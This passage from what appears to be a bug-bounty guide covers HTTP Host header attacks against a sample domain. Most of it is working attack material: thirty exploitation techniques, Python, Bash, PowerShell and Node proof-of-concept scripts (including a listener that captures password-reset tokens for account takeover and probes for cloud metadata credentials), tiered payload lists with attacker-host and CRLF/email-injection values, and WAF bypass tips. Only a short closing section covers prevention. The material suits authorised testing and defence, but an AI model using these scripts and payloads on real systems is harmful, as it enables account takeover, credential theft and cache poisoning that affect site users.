Some proxies add an `X-Cache` header to tell you which happened:

text
X-Cache: HIT

The response came from the cache. The proxy had a stored copy and returned it directly. It did not contact the origin server. This is faster because the proxy served the saved response.

text
X-Cache: MISS

The proxy did not have a stored copy, so it went to the origin server, got the response, and usually stores that response in the cache for later requests.

In short: HIT = served from cache, MISS = fetched from origin.

This matters massively for Host header attacks. If you poison the cache (Section 11, technique 8), then every subsequent visitor receives the poisoned response with `X-Cache: HIT`. You can confirm a poisoning worked by sending two requests:

text
Request 1 (your poisoning request):
GET / HTTP/1.1
Host: anastech.com
X-Forwarded-Host: attacker.com

----> Response: X-Cache: MISS (your request reached origin and got cached)
text
Request 2 (a normal request):
GET / HTTP/1.1
Host: anastech.com

----> Response: X-Cache: HIT
      Body contains: <script src="https://attacker.com/main.js">

The HIT plus the attacker.com reflection proves the cache is poisoned. Every visitor for the cache TTL (often 30 seconds to several minutes) will receive the malicious response.

To probe whether a URL is cacheable at all, send the request twice and check if `X-Cache` flips from MISS to HIT:

text
Normal flow without parameter:

Request 1:
GET / HTTP/1.1
Host: anastech.com
----> HTTP/1.1 200 OK
      Cache-Control: max-age=30
      X-Cache: MISS

Request 2 (same URL within 30 seconds):
GET / HTTP/1.1
Host: anastech.com
----> HTTP/1.1 200 OK
      Cache-Control: max-age=30
      X-Cache: HIT

Now add a query parameter:

text
Request with parameter:
GET /?test=124 HTTP/1.1
Host: anastech.com
----> HTTP/1.1 200 OK
      X-Cache: MISS

If a different parameter value gives a new MISS, the parameter is part of the cache key. If the same parameter value (`test=124`) gives HIT on the second request, the cache key includes that exact path.

That mapping is essential for cache poisoning: find a header or parameter that the application reflects but the cache does not include in its key, and you can poison every key by manipulating that one input.

SECTION 11. Exploitation

Workflow

  • 1. Identify all features that generate absolute URLs (password reset, invites, redirects, OAuth, SAML).
  • 2. For each feature, capture a request in Burp.
  • 3. Try `Host`, then the 10 override headers from Section 6, then duplicate Hosts, then line folding, then absolute URI.
  • 4. If the application reflects your Host, confirm the impact: does it reach an email, a cache, a redirect, an internal service?
  • 5. Escalate: chain with cache poisoning, SSRF to cloud metadata, or authentication bypass.
  • 6. Build a clean PoC with a working attacker domain (Burp Collaborator, your own VPS, or interact.sh).
  • 7. Capture screenshots, request/response pairs, and the resulting email or cached response. These are the proof for your bounty report.

Advanced techniques

1. Basic password reset poisoning

The classic. Replace Host with attacker.com in the forgot-password request.

text
POST /forgot-password HTTP/1.1
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

email=victim@gmail.com

The victim receives an email with a link to `attacker.com`. They click; you capture the token.

2. Password reset poisoning via X-Forwarded-Host

The application validates `Host` against an allow-list but trusts `X-Forwarded-Host`.

text
POST /forgot-password HTTP/1.1
Host: anastech.com
X-Forwarded-Host: attacker.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

email=victim@gmail.com

The validation passes because Host is anastech.com. The application reads X-Forwarded-Host to build the link.

3. Host header authentication bypass via localhost

The application has admin routes that check the Host header instead of authentication tokens. The check is "is Host localhost or 127.0.0.1?" Many internal panels work this way.

text
GET /admin HTTP/1.1
Host: localhost

If the reverse proxy forwards based on SNI (not Host), the request reaches the back-end with the localhost Host. The back-end skips authentication and renders the admin panel.

Variants to try if `localhost` is blocked:

text
Host: localhost.
Host: 127.0.0.1
Host: 127.000.000.001
Host: 0.0.0.0
Host: [::1]
Host: 127.1
Host: 2130706433
Host: 0x7f.0x0.0x0.0x1

The decimal `2130706433` and hex `0x7f000001` representations bypass naive string comparison.

4. Authentication bypass via X-Forwarded-For combined with Host

Some apps trust requests based on a combination of Host and source IP. Set both:

text
GET /admin HTTP/1.1
Host: localhost
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1

5. Duplicate Host header confusion

Send two Host headers. Some validators check the first; some apps use the last.

text
GET /forgot-password HTTP/1.1
Host: anastech.com
Host: attacker.com

This is the ambiguous request variant. Front-end says "Host is anastech.com" (validates), back-end says "Host is attacker.com" (uses for URL).

6. Line folding (obsolete continuation)

RFC-7230 deprecated line folding, but old parsers still accept it.

text
GET / HTTP/1.1
Host: anastech.com
 attacker.com

The leading space on the second line continues the previous header. Some parsers concatenate, some take only the last token, some get confused. Worth one probe per target.

7. Absolute URI in the request line

HTTP/1.1 allows the request line to contain an absolute URI. The Host header is then supposed to match. Some parsers use the URI; some use the Host header.

text
GET https://attacker.com/ HTTP/1.1
Host: anastech.com

When front-end uses URI and back-end uses Host (or vice versa), you have parser disagreement to exploit.

8. Web cache poisoning via ambiguous requests

Combine technique 5 or 2 with cache poisoning.

text
GET / HTTP/1.1
Host: anastech.com
X-Forwarded-Host: attacker.com

If the CDN does NOT include X-Forwarded-Host in the cache key but the application DOES reflect X-Forwarded-Host into the HTML, the poisoned response gets cached under the normal key. Every subsequent visitor for the cache TTL receives the malicious response.

Confirm by sending a second clean request (no X-Forwarded-Host) and checking that the response contains `attacker.com` and `X-Cache: HIT`.

9. Routing-based SSRF via Host header

Some proxies forward to whichever back-end the Host header names. You can reach internal services by setting Host to internal hostnames or IPs.

text
GET / HTTP/1.1
Host: internal-admin.local

GET / HTTP/1.1
Host: 192.168.0.1

GET / HTTP/1.1
Host: 169.254.169.254

GET /latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: 169.254.169.254

The fourth example reaches AWS cloud metadata. If the proxy forwards based on Host, you get back IAM credentials.

Cloud metadata Hosts to try:

  • AWS ==> `169.254.169.254`
  • Google Cloud ==> `metadata.google.internal` or `169.254.169.254`
  • Azure ==> `169.254.169.254` (with header `Metadata: true`)
  • Alibaba ==> `100.100.100.200`
  • DigitalOcean ==> `169.254.169.254`
  • Oracle ==> `192.0.0.192`

10. SSRF via flawed request parsing

The front-end parses the request line strictly. The back-end parses Host loosely. Inject `@` into the Host to fool one parser into thinking it is a user portion.

text
GET / HTTP/1.1
Host: anastech.com @internal-admin.local

Some parsers split on `@` and use `internal-admin.local` as the actual host. Others take the whole string.

Variants:

text
Host: anastech.com:80@internal-admin.local
Host: anastech.com%20@internal-admin.local
Host: anastech.com%09@internal-admin.local

11. Host validation bypass via connection state attack

This is the most subtle. The application validates the Host on the first request of a TCP connection but reuses connection state for subsequent requests on the same connection.

  • Request 1 on a new TCP connection: `Host: anastech.com` (validates and authenticates).
  • Request 2 on the same TCP connection: `Host: localhost` (no re-validation, attacker now has admin access).
text
Request 1 (validates):
POST /login HTTP/1.1
Host: anastech.com
... credentials ...

Connection: keep-alive

Request 2 (same socket, bypassed check):
GET /admin HTTP/1.1
Host: localhost

Tools like Burp Repeater (with "Single connection" enabled) or raw socket scripts can chain these. Section 12 has a Python PoC.

12. Host header injection via the SNI

When TLS termination happens at the proxy, the SNI (Server Name Indication) is the hostname the client requested. Some applications read SNI as a trust signal. By controlling SNI separately from Host (using a tool like openssl s_client) you can desynchronize the two.

text
openssl s_client -servername attacker.com -connect anastech.com:443
GET / HTTP/1.1
Host: anastech.com

Front-end sees SNI=attacker.com, Host=anastech.com. Logic that combines them breaks.

13. Password reset poisoning via dangling markup

When the Host is inserted into HTML without escaping, you can inject markup that captures the rest of the page.

text
POST /forgot-password HTTP/1.1
Host: x"><a href='//attacker.com/?
Content-Length: 24

email=victim@gmail.com

The email HTML becomes `<base href="x"><a href='//attacker.com/?...">`. The user clicks anything in the email and the URL goes to attacker.com.

Also works with `<img src='//attacker.com/?` to capture the page content via the Referer header.

14. Override headers stacking

When one override header is blocked, try multiple simultaneously.

text
POST /forgot-password HTTP/1.1
Host: anastech.com
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
X-HTTP-Host-Override: attacker.com
X-Original-Host: attacker.com
Forwarded: host=attacker.com

Whichever the framework reads first wins.

15. Port confusion

Some applications validate the hostname but not the port. Inject a port that triggers different behavior.

text
Host: anastech.com:80
Host: anastech.com:8080
Host: anastech.com.attacker.com:443

The hostname check passes for `anastech.com`. The port `8080` or the trailing `.attacker.com` changes routing or URL generation.

16. Subdomain confusion

If the application allow-lists `*.anastech.com` (a wildcard), you can sometimes register a subdomain that the application accepts.

text
Host: attacker.anastech.com.evil.com

Some validators check "does Host end with anastech.com" but `anastech.com.evil.com` does not end with `anastech.com`. Reverse the check:

text
Host: anastech.com.evil.com

Some validators check "does Host start with allowed prefix". Both directions are worth probing.

17. CRLF injection via Host header

In rare cases, the Host header is concatenated into another header without sanitization. Try CRLF.

text
Host: anastech.com%0d%0aSet-Cookie: admin=true

If the application uses the Host value to set a header (such as `Content-Location`), the CRLF can split the response and inject arbitrary headers.

18. Email header injection via Host

If the application sends an email with `From: noreply@<Host>`, you can inject `\r\n` into Host to inject email headers.

text
Host: anastech.com%0d%0aBcc: attacker@evil.com

The email gets BCC'd to the attacker. Works in some PHP `mail()` setups.

19. Cache deception via Host case sensitivity

Some caches treat `ANASTECH.com` and `anastech.com` as different cache keys. Some applications normalize Host to lowercase before using. The desync lets you cache a logged-in user's response under a key the cache thinks is "public".

text
GET /account/settings HTTP/1.1
Host: ANASTECH.com
Cookie: session=victim_session_id

If the cache thinks `ANASTECH.com` is a different host (not yet in cache) and the back-end serves the page, the response (containing victim PII) gets cached. Any attacker requesting `ANASTECH.com` retrieves victim data.

20. Unicode Host

Some servers accept Punycode or IDN-encoded Host values. The display rendering and the validation can disagree.

text
Host: xn--anastech-attacker.com
Host: anastecһ.com   (Cyrillic h)
Host: anastech.cоm   (Cyrillic o)

Useful for phishing and for allow-list bypass when the validator uses string comparison after Unicode normalization but the URL builder does not normalize.

21. Trailing dot bypass

text
Host: anastech.com.

The trailing dot is valid DNS. Some allow-list checks fail because `anastech.com.` does not equal `anastech.com`. The back-end resolves the same site, but the URL generator includes the trailing dot.

22. Header smuggling via HTTP/2

In HTTP/2, the `:authority` pseudo-header replaces the Host header. Servers that downgrade HTTP/2 to HTTP/1.1 internally may pass `:authority` as `Host` to the back-end while a separate `Host` header (illegally) survives. The back-end ends up with two values.

text
:authority: anastech.com
host: attacker.com

Some HTTP/2 implementations forward both. The back-end sees the discrepancy and chooses one.

23. Web cache poisoning via custom override header

If the application uses an obscure header to determine its canonical hostname, the cache will not include that header in its key. Param Miner finds these. Examples seen in the wild:

text
X-Backend-Server: attacker.com
X-Tenant: attacker
X-Site-ID: 42
X-Cache-Key-Source: attacker.com

24. Open redirect via Host header

Many redirect handlers build the redirect URL from Host.

text
GET /logout HTTP/1.1
Host: attacker.com

The 302 response sends the user to `https://attacker.com/login`. Useful as a phishing primitive even when password reset poisoning is patched.

25. SAML / OAuth callback hijack via Host

Single Sign-On flows use absolute URLs (issuer, redirect_uri, ACS URL) constructed from Host. Poison the Host on the SAML AuthnRequest and the IdP sends the response to the attacker.

text
POST /sso/saml HTTP/1.1
Host: attacker.com
... SAMLRequest=... ...

The IdP processes the request and POSTs the SAMLResponse to `https://attacker.com/sso/acs`. The attacker now has a valid SAML assertion for the victim.

26. Reset token leak via Referer

Even when the email link does NOT include the attacker domain (because the developer hardcoded `anastech.com`), an injected resource on the reset page can leak the token via the Referer header.

If you can poison the password reset PAGE (not the email link) by injecting an external resource:

text
Host: anastech.com
X-Forwarded-Host: attacker.com

==> page now loads <img src="https://attacker.com/pixel.png">
==> browser sends Referer: https://anastech.com/reset?token=secret_T

The attacker reads `pixel.png` access logs and sees the token in the Referer.

27. Internal admin route discovery via Host

Internal admin routes are often named after Host-based virtual hosts. Try common admin hostnames.

text
Host: admin
Host: internal
Host: dev
Host: staging
Host: api-internal
Host: backend

If the proxy routes by Host, you may stumble onto internal sites.

28. Path-relative redirect with Host injection

Apps that build redirects like `Location: //{Host}/path` can be tricked.

text
GET /old-page HTTP/1.1
Host: attacker.com

Response:

text
HTTP/1.1 302 Found
Location: //attacker.com/new-page

The protocol-relative URL inherits the user's protocol but the host is fully attacker-controlled.

29. Cache key normalization desync

Cloudflare and other CDNs normalize cache keys (strip default ports, lowercase host). Applications often do not. If the app distinguishes `anastech.com` from `anastech.com:443` but the cache treats them as identical, you can poison the key for both.

30. Connection coalescing in HTTP/2

HTTP/2 allows the client (or in some cases an intermediary) to reuse the same TLS connection for multiple hostnames with the same certificate. A wildcard cert for `*.anastech.com` causes browsers and proxies to coalesce requests for `admin.anastech.com` and `public.anastech.com` over one connection. The Host header in HTTP/2 is the `:authority` field. A misconfigured back-end may route based on the connection's first authority while honoring subsequent `:authority` values, enabling cross-site Host poisoning over a single connection.

SECTION 12. Proof of Concept

Burp Suite step by step (basic password reset poisoning)

  • 1. Browse `anastech.com/forgot-password` and submit your test account's email.
  • 2. In Proxy ==> HTTP history, find the POST `/forgot-password` request.
  • 3. Right-click ==> Send to Repeater.
  • 4. Change `Host: anastech.com` to `Host: yourcollaborator.burpcollaborator.net`.
  • 5. Click Send.
  • 6. Open your test email account. The reset email contains a link pointing to your Collaborator domain.
  • 7. Click the link from a different browser to log the request. Read the Collaborator panel; you have captured the token.
  • 8. Visit `https://anastech.com/reset?token=<captured>` and set a new password.

Burp Suite step by step (web cache poisoning)

  • 1. Browse to the homepage. Capture the GET / request.
  • 2. Send to Repeater. Add `X-Forwarded-Host: attacker.com` (keep Host=anastech.com).
  • 3. Send. Look at the response for any reflection of `attacker.com`.
  • 4. If reflected, look at the response headers for `Cache-Control`, `X-Cache`, `Age`.
  • 5. Send the request a second time. If the response includes `X-Cache: HIT` AND still contains `attacker.com`, the cache is poisoned.
  • 6. Open a private browser window, visit `anastech.com`, and confirm the page loads attacker.com resources for every visitor.

Python PoC: end-to-end password reset poisoning capture

python
#!/usr/bin/env python3
"""
End-to-end demo: poison password reset, capture token, reset password.
Usage: python poc.py target_email
"""

import http.server
import socketserver
import threading
import requests
import sys
import re
import time

TARGET = "https://anastech.com"
ATTACKER_DOMAIN = "attacker.example.com"  # your VPS / Collaborator
PORT = 80

captured_tokens = []


class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        # Capture any token in the URL
        m = re.search(r"token=([\w\-]+)", self.path)
        if m:
            token = m.group(1)
            captured_tokens.append(token)
            print(f"[+] Captured token: {token}")
        # Redirect victim to real site so they see no error
        self.send_response(302)
        self.send_header("Location", f"{TARGET}/login")
        self.end_headers()


def start_listener():
    with socketserver.TCPServer(("", PORT), Handler) as httpd:
        print(f"[*] Listener on port {PORT}")
        httpd.serve_forever()


def poison_reset(victim_email):
    print(f"[*] Sending poisoned forgot-password for {victim_email}")
    headers = {"Host": ATTACKER_DOMAIN}
    data = {"email": victim_email}
    r = requests.post(
        f"{TARGET}/forgot-password",
        data=data,
        headers=headers,
        verify=False
    )
    print(f"[*] Server response: HTTP {r.status_code}")


def main():
    if len(sys.argv) != 2:
        print("Usage: python poc.py victim@example.com")
        sys.exit(1)

    victim = sys.argv[1]

    # Start listener in background
    t = threading.Thread(target=start_listener, daemon=True)
    t.start()
    time.sleep(1)

    # Send poisoned request
    poison_reset(victim)

    # Wait for victim to click
    print("[*] Waiting for victim to click the link...")
    while not captured_tokens:
        time.sleep(2)

    token = captured_tokens[0]
    print(f"[+] Token captured: {token}")
    print(f"[+] Reset URL: {TARGET}/reset?token={token}")
    print("[*] Use the URL to set a new password and own the account")


if __name__ == "__main__":
    main()

Python PoC: connection state Host bypass

python
#!/usr/bin/env python3
"""
Connection state attack: validate Host on request 1, bypass on request 2
over the same TCP connection.
"""

import socket
import ssl

TARGET_HOST = "anastech.com"
TARGET_PORT = 443

context = ssl.create_default_context()
sock = socket.create_connection((TARGET_HOST, TARGET_PORT))
ssock = context.wrap_socket(sock, server_hostname=TARGET_HOST)

# Request 1: legitimate Host, authenticates the connection
req1 = (
    "POST /login HTTP/1.1\r\n"
    f"Host: {TARGET_HOST}\r\n"
    "Content-Type: application/x-www-form-urlencoded\r\n"
    "Content-Length: 35\r\n"
    "Connection: keep-alive\r\n"
    "\r\n"
    "username=guest&password=guestpass"
)
ssock.send(req1.encode())
resp1 = ssock.recv(8192).decode(errors="ignore")
print("Request 1 (legitimate):", resp1.split("\r\n")[0])

# Request 2: bypass Host on the same socket
req2 = (
    "GET /admin HTTP/1.1\r\n"
    "Host: localhost\r\n"
    "Connection: keep-alive\r\n"
    "\r\n"
)
ssock.send(req2.encode())
resp2 = ssock.recv(8192).decode(errors="ignore")
print("Request 2 (bypass):", resp2.split("\r\n")[0])

if "admin" in resp2.lower() or "200 OK" in resp2:
    print("[+] Host validation bypass confirmed!")
ssock.close()

Bash PoC: routing-based SSRF to AWS metadata

bash
#!/bin/bash
# Probe a target proxy that may forward based on Host header.
# Targets AWS metadata service via Host header override.

TARGET="https://anastech.com"

echo "[*] Testing direct Host=169.254.169.254"
curl -s -o /tmp/resp.html -w "HTTP %{http_code}, %{size_download} bytes\n" \
    -k -H "Host: 169.254.169.254" "${TARGET}/latest/meta-data/"
grep -q "iam\|security-credentials" /tmp/resp.html && echo "[+] AWS metadata reached!"

echo "[*] Testing Host with port"
curl -s -o /tmp/resp.html -w "HTTP %{http_code}, %{size_download} bytes\n" \
    -k -H "Host: 169.254.169.254:80" "${TARGET}/latest/meta-data/iam/security-credentials/"

echo "[*] Testing GCP metadata"
curl -s -o /tmp/resp.html -w "HTTP %{http_code}, %{size_download} bytes\n" \
    -k -H "Host: metadata.google.internal" \
    -H "Metadata-Flavor: Google" \
    "${TARGET}/computeMetadata/v1/instance/service-accounts/default/token"

echo "[*] Testing Azure IMDS"
curl -s -o /tmp/resp.html -w "HTTP %{http_code}, %{size_download} bytes\n" \
    -k -H "Host: 169.254.169.254" \
    -H "Metadata: true" \
    "${TARGET}/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

PowerShell PoC: header smuggling sweep

powershell
# Sweep a list of override headers for reflection
$target = "https://anastech.com/forgot-password"
$marker = "burpcollab" + (Get-Random) + ".net"

$headers_to_test = @(
    "Host",
    "X-Forwarded-Host",
    "X-Host",
    "X-Forwarded-Server",
    "X-HTTP-Host-Override",
    "X-Original-Host",
    "X-Real-Host",
    "X-Backend-Host",
    "X-Rewrite-URL",
    "Forwarded"
)

foreach ($h in $headers_to_test) {
    $hdrs = @{
        "Host" = "anastech.com"
        $h = $marker
    }
    $body = "email=test@example.com"
    try {
        $r = Invoke-WebRequest -Uri $target -Method Post -Body $body -Headers $hdrs -SkipCertificateCheck
        if ($r.Content -match $marker) {
            Write-Host "[+] REFLECTED via $h" -ForegroundColor Green
        } else {
            Write-Host "[ ] Not reflected via $h"
        }
    } catch {
        Write-Host "[!] Error with $h : $_"
    }
}

Node.js PoC: dangling markup injection

javascript
// Sends a forgot-password request with HTML-injecting Host
// to cause the email body to render with attacker-controlled HTML
const https = require('https');

const payload = `x"><a href="https://attacker.com/?leak=`;

const options = {
    hostname: 'anastech.com',
    port: 443,
    path: '/forgot-password',
    method: 'POST',
    headers: {
        'Host': payload,
        'Content-Type': 'application/x-www-form-urlencoded',
        'Content-Length': Buffer.byteLength('email=victim@gmail.com')
    },
    rejectUnauthorized: false
};

const req = https.request(options, (res) => {
    console.log(`Status: ${res.statusCode}`);
    res.on('data', (d) => process.stdout.write(d));
});

req.on('error', (e) => console.error(`Error: ${e.message}`));
req.write('email=victim@gmail.com');
req.end();

CSRF-chained admin delete via Host bypass

This is a chained exploit: Host bypass gives access to `/admin/delete`, and a forged CSRF token issued from the legitimate session allows the action.

text
POST /admin/delete HTTP/1.1
Host: 192.168.0.1
Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE
Content-Type: x-www-form-urlencoded
Content-Length: CORRECT

csrf=YnolCbjOgBnDTeKahdaiRZur3Ku4U2P3&username=carlos

Steps to build the chain:

  • 1. Confirm `Host: 192.168.0.1` (or `localhost`) gets you into `/admin/*` routes.
  • 2. From a low-privileged session, request `/admin/delete?username=carlos` to capture the CSRF form token. Most apps issue tokens to anyone who can render the page.
  • 3. Use that token in the POST body of the actual delete request.
  • 4. Send the POST with `Host: 192.168.0.1`, your session cookie, the captured CSRF token, and the target username.
  • 5. Carlos's account is deleted.

The Content-Length must be correct for the body length. With Burp, "Update Content-Length" handles this automatically. Sinon t9dr tbdllha nta ela hassab kolla chars wla espace b 1.

Burp tip for every Host header test

  • 1. In Repeater, switch the protocol from HTTP/2 to HTTP/1.1 (Inspector ==> Request attributes ==> Protocol). Host editing is cleaner in HTTP/1.1.
  • 2. When testing override headers, KEEP `Host: anastech.com` and ADD the override below. Many validators fail open when only the override exists.
  • 3. Enable "Show non-printables" so you can spot trailing whitespace, line folding, and CRLF injection.
  • 4. For connection-state attacks, use "Single connection" in Repeater (Repeater menu ==> Single connection).
  • 5. For caching tests, send each request twice within the cache TTL (`Cache-Control: max-age=N`). Compare the `X-Cache` and `Age` headers between the two responses.
  • 6. For Collaborator (or interact.sh), insert your subdomain in BOTH `Host` and `X-Forwarded-Host` to maximize chance of hitting the right code path.

SECTION 13. Payloads

Payloads grouped by goal. Use them as a tester library; mix and match.

Tier 1: Basic detection probes

text
Host: attacker.com
Host: anastech.com.attacker.com
Host: attacker.com.anastech.com
Host: localhost
Host: 127.0.0.1
Host: 169.254.169.254

Tier 2: Override headers

text
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
X-HTTP-Host-Override: attacker.com
X-Original-Host: attacker.com
X-Real-Host: attacker.com
X-Backend-Host: attacker.com
X-Rewrite-URL: https://attacker.com/
Forwarded: host=attacker.com
Forwarded: by=attacker.com;host=attacker.com

Tier 3: Duplicate and ambiguous

text
Host: anastech.com
Host: attacker.com
text
Host: anastech.com, attacker.com
text
Host: anastech.com
 attacker.com
text
Host: anastech.com:80
Host: attacker.com:443

Tier 4: Absolute URI in request line

text
GET https://attacker.com/ HTTP/1.1
Host: anastech.com
text
GET @attacker.com HTTP/1.1
Host: anastech.com

Tier 5: Localhost bypasses

text
Host: localhost
Host: localhost.
Host: 127.0.0.1
Host: 127.000.000.001
Host: 0
Host: 0.0.0.0
Host: [::1]
Host: 127.1
Host: 2130706433
Host: 0x7f000001
Host: 0177.0.0.1
Host: ⓁⒻ.ⓞ.ⓞ.ⓞ

Tier 6: Cloud metadata

text
Host: 169.254.169.254
Host: 169.254.169.254.nip.io
Host: metadata.google.internal
Host: 100.100.100.200
Host: 192.0.0.192
Host: 169.254.169.253

Tier 7: SSRF parsing tricks

text
Host: anastech.com@internal-admin.local
Host: anastech.com#@internal-admin.local
Host: internal-admin.local#@anastech.com
Host: anastech.com:80@internal-admin.local
Host: anastech.com%09@internal-admin.local
Host: anastech.com%20@internal-admin.local
Host: anastech.com&@internal-admin.local
Host: anastech.com?@internal-admin.local

Tier 8: Dangling markup (HTML injection via Host)

text
Host: x"><a href='//attacker.com/?
Host: x"><img src='//attacker.com/?
Host: x"></title><img src='//attacker.com/?
Host: anastech.com<a href="//attacker.com">

Tier 9: Email header injection via Host

text
Host: anastech.com%0d%0aBcc: attacker@evil.com
Host: anastech.com%0aBcc:attacker@evil.com
Host: anastech.com%0d%0aSubject: Hijacked

Tier 10: CRLF injection via Host (rare)

text
Host: anastech.com%0d%0aSet-Cookie: admin=true
Host: anastech.com%0d%0aLocation: https://attacker.com
Host: anastech.com%0d%0aX-XSS-Protection: 0

Tier 11: Unicode and punycode

text
Host: xn--anastech-xyz.com
Host: anastecһ.com
Host: anastech.cоm
Host: anastech%E2%80%8B.com
Host: anastech.com.%E2%80%8B

Tier 12: Path-relative chain payloads

text
GET / HTTP/1.1
Host: //attacker.com/

GET / HTTP/1.1
Host: \\attacker.com\

WAF bypass tweaks

  • Mix case: `host: attacker.com` (lowercase), `HOST: attacker.com` (uppercase).
  • Add trailing whitespace: `Host: attacker.com `.
  • Use tab characters: `Host:<tab>attacker.com`.
  • Combine duplicate Host with override headers to confuse WAF parsers.
  • Send Host in HTTP/2 as `:authority` and add `host` as a regular header to confuse downgrade proxies.

SECTION 14. Wordlists and Payload Libraries

Public wordlists and reference repos

Complete HTTP header reference (for fuzzing and override testing)

Use this as a working list. Inject your Host marker into each one to discover undocumented overrides.

Request headers

text
Accept
Accept-Charset
Accept-Encoding
Accept-Language
Accept-Datetime
Authorization
Cache-Control
Connection
Cookie
Content-Length
Content-MD5
Content-Type
Date
Expect
From
Host
If-Match
If-Modified-Since
If-None-Match
If-Range
If-Unmodified-Since
Max-Forwards
Origin
Pragma
Proxy-Authorization
Range
Referer
TE
Upgrade
User-Agent
Via
Warning
DNT
X-Requested-With
X-Forwarded-For
X-Forwarded-Host
X-Forwarded-Proto
Front-End-Https
X-Http-Method-Override
X-ATT-DeviceId
X-Wap-Profile
Proxy-Connection
X-UIDH
X-Csrf-Token
X-XSRF-TOKEN
Upgrade-Insecure-Requests
X-Real-IP
X-Request-ID
X-Correlation-ID
X-Api-Key
Access-Control-Request-Headers
Access-Control-Request-Method

Response headers (useful for cache and security indicators)

text
X-Frame-Options
X-XSS-Protection
X-Content-Type-Options
Strict-Transport-Security
Content-Security-Policy
X-Permitted-Cross-Domain-Policies
Public-Key-Pins
X-Forwarded-Server
X-ProxyUser-IP
X-Cache
X-Cache-Hits
X-Cache-Lookup
X-Cacheable
X-Cache-Status
X-Served-By
X-Timer
Alt-Svc
NEL
Report-To
Cross-Origin-Resource-Policy
Cross-Origin-Opener-Policy
Cross-Origin-Embedder-Policy
Permissions-Policy
Expect-CT
Access-Control-Allow-Origin
Access-Control-Allow-Credentials
Access-Control-Allow-Headers
Access-Control-Allow-Methods
Access-Control-Expose-Headers
Access-Control-Max-Age
Timing-Allow-Origin
Content-Disposition
Content-Encoding
Content-Language
Content-Location
Content-Range
Expires
Last-Modified
Link
Location
Retry-After
Server
Set-Cookie
Vary
WWW-Authenticate
X-Powered-By
X-UA-Compatible
Clear-Site-Data
Feature-Policy
Keep-Alive
Proxy-Authenticate
Server-Timing
SourceMap
X-DNS-Prefetch-Control
X-Download-Options
X-Robots-Tag
X-Runtime
X-Environment
X-Pingback
X-AspNet-Version
X-AspNetMvc-Version
X-AspNetCore-Version
X-Application-Context
X-Request-Start
X-Backend-Server
X-Proxy-Id
X-Varnish
X-RateLimit-Limit
X-RateLimit-Remaining
X-RateLimit-Reset
X-Stage

Tracing and routing headers (the gold mine for Host overrides)

text
X-B3-TraceId
X-B3-SpanId
X-B3-ParentSpanId
X-B3-Sampled
X-B3-Flags
X-Cloud-Trace-Context
Traceparent
Tracestate
X-Amzn-Trace-Id
X-Akamai-Edge-Trace
X-Forwarded-Port
X-Forwarded-Protocol
X-Client-IP
X-Response-Time
X-Swift-Cache

Fuzz every one of these with `attacker.com` as the value and watch for reflection or routing change. The more obscure the header, the less likely the cache or WAF normalizes it, the higher the chance of a clean cache-poisoning primitive.

SECTION 15. Impact

The impact of HTTP Host header attacks ranges from open redirect to full cloud account takeover. Severity escalates from low to critical:

  • 1. Open redirect. The attacker tricks users into clicking links that appear to come from anastech.com but land on attacker.com. Used as a phishing primitive.
  • 2. Reflected XSS via Host. When Host is inserted into HTML without escaping, the attacker injects script. Combine with cache poisoning for stored XSS impact.
  • 3. Password reset poisoning. The attacker hijacks any user's password reset token. Account takeover per victim. Bounty range: $500-$5,000.
  • 4. Account verification poisoning. Same as password reset but for new account confirmation links, magic-login emails, billing receipts, invitation tokens. Each side channel is its own attack surface.
  • 5. Web cache poisoning. The attacker poisons the CDN cache for the entire user base for the cache TTL. Mass exploitation. Bounty range: $1,000-$20,000.
  • 6. Authentication bypass via localhost. Direct admin panel access without credentials. Bounty range: $2,000-$15,000.
  • 7. Routing-based SSRF. The attacker reaches internal services not exposed to the internet, including admin panels and metadata services.
  • 8. Cloud metadata access. AWS, GCP, Azure metadata service exposed via Host=169.254.169.254. The attacker reads IAM credentials, takes over the entire cloud account. Bounty range: $5,000-$50,000.
  • 9. SAML / OAuth callback hijack. The IdP sends the SAMLResponse or OAuth code to attacker.com. The attacker authenticates as the victim. Bounty range: $5,000-$30,000.
  • 10. Mass account takeover via cache-poisoned reset link. Combine cache poisoning with the reset page. Every user who clicks the cached link leaks their token. The most devastating chain.
  • 11. CSRF protection bypass. When the application allows admin routes from `Host: localhost`, the attacker can perform any admin action by forging the appropriate request.
  • 12. Reputational damage and regulatory exposure. PCI-DSS, GDPR, HIPAA, SOC 2 all treat unauthorized data access from this vector as a reportable breach.

Real-world cost: a publicly disclosed Host header bug at a fintech in 2024 led to a $4.2M regulatory fine because customer PII was exposed via cache poisoning. The technical bug was a single line of code.

SECTION 16. Prevention

Vulnerable code vs Secure code

VULNERABLE (Python Flask):

python
@app.route("/forgot-password", methods=["POST"])
def forgot():
    email = request.form["email"]
    user = find_user(email)
    if user:
        token = generate_token()
        save_token(user, token)
        # BUG: trusts Host
        link = f"https://{request.host}/reset?token={token}"
        send_email(email, link)
    return "OK"

SECURE (Python Flask):

python
from urllib.parse import urlparse

# Loaded once from config; never from a request
CANONICAL_BASE_URL = "https://anastech.com"

@app.route("/forgot-password", methods=["POST"])
def forgot():
    email = request.form["email"]
    user = find_user(email)
    if user:
        token = generate_token()
        save_token(user, token)
        # Use the hardcoded canonical base URL, never request.host
        link = f"{CANONICAL_BASE_URL}/reset?token={token}"
        send_email(email, link)
    return "OK"

The fix explained

  • The vulnerable version reads the request's Host header. The Host header is attacker-controlled. The fix is to read the URL from a configuration file that is set by the deployment process, not by the user.
  • If the configuration must adapt to multiple environments (dev/staging/prod), use environment variables, not request headers. Set them at deploy time.
  • Validate any Host that does reach the application against an allow-list of known good hostnames. Reject all others with HTTP 400.

Eight prevention rules

  • 1. Never use the Host header to build user-facing URLs. Use a hardcoded base URL from config.
  • 2. Validate the Host header against an allow-list at the framework level. Django uses `ALLOWED_HOSTS`. Set it explicitly; do not use `*`.
  • 3. Configure the reverse proxy to enforce Host validation. NGINX `server_name`, Apache `ServerName`, Caddy `match` rules. Set the default vhost to return 421.
